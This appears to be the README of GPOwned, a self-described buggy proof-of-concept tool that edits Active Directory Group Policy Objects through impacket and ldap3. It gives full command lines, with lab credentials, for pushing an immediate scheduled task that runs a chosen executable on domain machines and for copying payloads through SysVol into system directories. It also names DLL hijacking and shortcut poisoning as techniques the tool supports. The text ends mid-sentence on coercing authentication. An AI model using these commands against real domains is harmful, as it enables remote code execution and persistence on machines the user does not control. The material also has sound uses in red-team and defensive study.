Buggy script to play with GPOs

Overview

GPOwned

/!\ This is a buggy PoC I made just to play with GPOs in my lab. Don't use it in production! /!\

The script uses impacket and ldap3 to update the GPOs. It implements enough primitives that can be combined (just need to perform minor changes in the code) to achieve different ways of code execution (DLL hijacking, COM junctions, shortcut poisoning, etc.)

Examples

Immediate Tasks

Probably the most exploited way to obtain code execution is via Immediate Task, so here we can do the same:

python3 GPOwned.py -u avispa.marina -p Password.1234 -d zoo.local -dc-ip 10.0.2.15 -gpoimmtask -name '{1A5FC7E3-ACBA-4CB3-96B2-2F6568127784}' -author 'ZOO\Administrador' -taskname 'Beautiful IOC' -taskdescription 'Hello World' -dstpath 'c:\windows\system32
otepad.exe'

You can use smbclientto upload your .exe/.bat/whatever to SysVol or just edit the script to move your local payload to the target machine using the GPOCopyFile()

Copy Files

You can copy a local file to SysVol and use the GPO to copy from there to a interesting location in the target machine. This can be useful to drop your payloads there, or to peform a DLL hijack directly for example. You can edit the code to combine this with other primitives.

python3 GPOwned.py -u avispa.marina -p Password.1234 -d zoo.local -dc-ip 10.0.2.15 -gpocopyfile -name '{1B5C9CCF-CDE7-4D57-891F-EAE1F804669A}' -srcpath /tmp/alive.txt -dstpath '%SystemDir%\other_file_again.pwned'

Also it can be used to coerce auth:
